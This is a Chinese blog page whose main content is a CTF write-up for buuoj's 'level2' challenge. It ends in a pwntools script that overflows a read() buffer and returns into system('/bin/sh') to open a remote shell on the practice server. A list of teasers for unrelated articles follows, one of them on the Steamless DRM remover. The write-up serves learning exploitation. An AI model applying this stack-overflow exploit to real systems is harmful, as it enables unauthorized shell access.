张小明
前端开发工程师
使用checksec打开文件查看保护
使用ida打开文件,发现主函数没有什么特别的,直接跟进vulnerable_function函数
发现存在read函数,并且buf缓冲区可以被溢出,由于保护只开启了栈不可执行,因此我们查找一下后门函数
通过plt表来跳转到system函数
system执行完后需要有个返回地址,于是我们随便给个合法地址,在之后写入bin_sh的地址
来让其执行system("/bin/sh")
from pwn import * #p=process('./level2') p=remote('node5.buuoj.cn',25681) system_addr = 0x08048320 fake_ret = 0x08048480 bin_sh = 0x0804A024 pay=b'a'*140+ p32(system_addr) + p32(fake_ret) + p32(bin_sh) p.sendline(pay) p.interactive()天津XX软件公司大文件传输系统前端技术方案（第一人称视角） 一、技术选型与架构设计 作为前端负责人，我主导了基于Vue3 TypeScript的模块化架构设计，核心解决以下痛点： 浏览器兼容性：通过分层适配策略覆…
李华
12月12日，黑芝麻智能科技有限公司（以下简称“黑芝麻智能”）与深圳元戎启行科技有限公司（以下简称“元戎启行”）正式签署合作协议。双方在此次合作中将建立资本与业务的双重纽带，叠加各自在芯片技术与辅助驾…
李华
Steamless终极指南：深度解析DRM移除技术与多场景应用 【免费下载链接】Steamless Steamless is a DRM remover of the SteamStub variants. The goal of Steamless is to make a single solution for unpacking all Steam DRM-packed files. Steamless aims to supp…
李华
如何在消费级显卡上运行 Llama-Factory 进行模型微调？ 在大模型时代，训练一个像 LLaMA-2 或 Qwen 这样的 70 亿参数语言模型，听起来像是只有科技巨头才能负担的“重工业”项目。动辄上百 GB 显存、多卡 A100 集群、数万美元的云成本——这些门…
李华
Qwen-Edit多角度控制插件：零基础快速掌握12种镜头变换技巧 【免费下载链接】Qwen-Edit-2509-Multiple-angles 项目地址: https://ai.gitcode.com/hf_mirrors/dx8152/Qwen-Edit-2509-Multiple-angles 还在为单一视角的图像创作而烦恼？Qwen-Edit-2…
李华
Layui表格终极指南：实现行拖拽排序功能的完整解决方案 【免费下载链接】layui 项目地址: https://gitcode.com/gh_mirrors/lay/layui Layui表格组件在前端开发中被广泛使用，但原生表格仅支持通过edit参数进行排序操作。在实际业务场景中…
李华